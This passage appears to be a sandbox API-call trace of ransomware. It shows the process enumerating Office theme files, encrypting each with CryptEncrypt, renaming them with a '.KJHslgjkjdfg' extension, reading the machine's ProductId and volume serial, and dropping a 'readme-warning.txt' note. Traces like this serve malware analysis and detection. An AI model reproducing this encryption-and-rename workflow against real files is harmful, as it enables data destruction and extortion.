ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.855] GetProcessHeap () returned 0x2a0000 [0146.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.855] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.855] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.855] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.857] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.857] GetProcessHeap () returned 0x2a0000 [0146.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.857] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.857] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.857] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.857] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.857] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.857] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.857] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.858] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.858] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.858] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x543, lpOverlapped=0x0) returned 1 [0146.858] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550) returned 1 [0146.858] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x550, lpOverlapped=0x0) returned 1 [0146.858] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.858] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] SetEndOfFile (hFile=0x118) returned 1 [0146.860] GetProcessHeap () returned 0x2a0000 [0146.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.860] GetProcessHeap () returned 0x2a0000 [0146.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.865] CloseHandle (hObject=0x118) returned 1 [0146.866] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.867] GetProcessHeap () returned 0x2a0000 [0146.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.867] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.867] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.867] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0146.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.869] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.869] GetProcessHeap () returned 0x2a0000 [0146.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.869] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.869] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.869] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.869] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.869] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.870] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.870] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.870] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.870] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.870] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.870] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6722, lpOverlapped=0x0) returned 1 [0146.871] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6730, dwBufLen=0x6730 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6730) returned 1 [0146.871] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.871] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6730, lpOverlapped=0x0) returned 1 [0146.872] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.872] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.872] SetEndOfFile (hFile=0x118) returned 1 [0146.875] GetProcessHeap () returned 0x2a0000 [0146.875] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.875] GetProcessHeap () returned 0x2a0000 [0146.875] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.878] CloseHandle (hObject=0x118) returned 1 [0146.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.878] GetProcessHeap () returned 0x2a0000 [0146.878] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.878] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.878] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.878] GetProcessHeap () returned 0x2a0000 [0146.878] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.878] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.878] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.878] GetProcessHeap () returned 0x2a0000 [0146.878] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.879] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.879] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.879] GetProcessHeap () returned 0x2a0000 [0146.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.879] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.879] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.879] GetProcessHeap () returned 0x2a0000 [0146.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.879] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.879] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.879] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.879] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.879] RegCloseKey (hKey=0x118) returned 0x0 [0146.879] GetProcessHeap () returned 0x2a0000 [0146.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.879] GetProcessHeap () returned 0x2a0000 [0146.880] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.880] GetProcessHeap () returned 0x2a0000 [0146.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.880] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.880] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.880] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.880] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.880] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.880] GetProcessHeap () returned 0x2a0000 [0146.880] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.880] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.880] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.880] GetProcessHeap () returned 0x2a0000 [0146.880] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.880] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt") returned 79 [0146.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.881] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.882] CloseHandle (hObject=0x118) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.883] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.883] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0146.883] GetProcessHeap () returned 0x2a0000 [0146.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.885] GetProcessHeap () returned 0x2a0000 [0146.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.885] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.885] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0146.885] GetProcessHeap () returned 0x2a0000 [0146.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.885] GetProcessHeap () returned 0x2a0000 [0146.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.886] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.886] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.886] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0146.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.888] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.888] GetProcessHeap () returned 0x2a0000 [0146.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.888] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.888] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.888] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.888] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.888] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.888] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.888] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.889] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) 